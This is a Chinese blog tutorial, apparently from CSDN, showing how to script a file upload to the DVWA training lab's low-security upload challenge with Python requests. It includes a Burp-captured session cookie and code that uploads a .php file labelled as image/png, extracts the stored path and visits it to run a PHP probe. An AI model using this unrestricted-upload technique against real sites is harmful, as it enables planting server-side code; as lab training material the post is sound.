• python-requests模拟文件上传


    DVWA靶场的文件上传关卡,初级

    先上传文件,使用BurpSuite抓取数据包

    image-20230920170145559

    POST请求的数据包发送到Repeater模块

    分析使用Python的requests模块发送请求需要携带哪些参数

    也可以打开F12,点击Network查看需要携带哪些请求体参数

    image-20230920170446495

    image-20230920170533509

    image-20230920170700134

    image-20230920170803298

    请求头:

    "Cookie":"security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
    
    • 1

    请求体:

    "MAX_FILE_SIZE": "100000"
    "uploaded": "(binary)"
    "Upload": "Upload"
    
    • 1
    • 2
    • 3

    上传的文件数据可以在BurpSuite抓取到的数据包中查看

    image-20230920171052155

    发现请求体中的uploaded参数的值 "(binary)"里面的二进制数据就应该是BurpSuite中的文件名,文件内容,文件类型

    文件内容:

    "uploaded":('1.php','','image/png')
    
    • 1

    上传的文件需要在requests.postfiles参数里

    实现代码:

    import requests
    from bs4 import BeautifulSoup
    
    url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'
    
    headers = {
        "User-Agent": "",
        "Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
    }
    data = {
        "MAX_FILE_SIZE": "100000",
        "Upload": "Upload"
    }
    
    files = {
        "uploaded": ('2.php', '', 'image/png')
    }
    response = requests.post(url=url, headers=headers, data=data, files=files)
    
    # 提取上传路径
    soup = BeautifulSoup(response.text, 'lxml')
    #提取pre标签的文件
    pre_content=soup.find_all('pre')[0].text   #../../hackable/uploads/2.php succesfully uploaded!
    img_path=pre_content.split(' ')[0]  #以空格为分割符,去左边第一个,也就是下标为0的
    # print(img_path)                     #../../hackable/uploads/2.php
    '''路径拼接'''
    img_path=url+img_path
    print(img_path)  #http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/../../hackable/uploads/2.php
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    文件上传成功!

    image-20230920173552668

    得到上传路径!

    image-20230920172902342

    访问链接,触发php探针

    image-20230920172735825

  • 相关阅读:
    python opencv把yuv格式转bgr
    Fiddler工具使用汇总
    电脑重装系统后Win10如何添加系统组件
    性能指标都不了解,如何做性能测试?
    跨境电商做什么产品好?2022速卖通热销品类榜单来袭!
    python舔狗学习日记第三期【帮女神自动化生成日报】
    CSS的概念和基本用法
    无心剑2022年七绝100首
    (附源码)mysql+ssm招聘网站 毕业设计 250858
    Java IO---缓冲流和转换流
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/133092012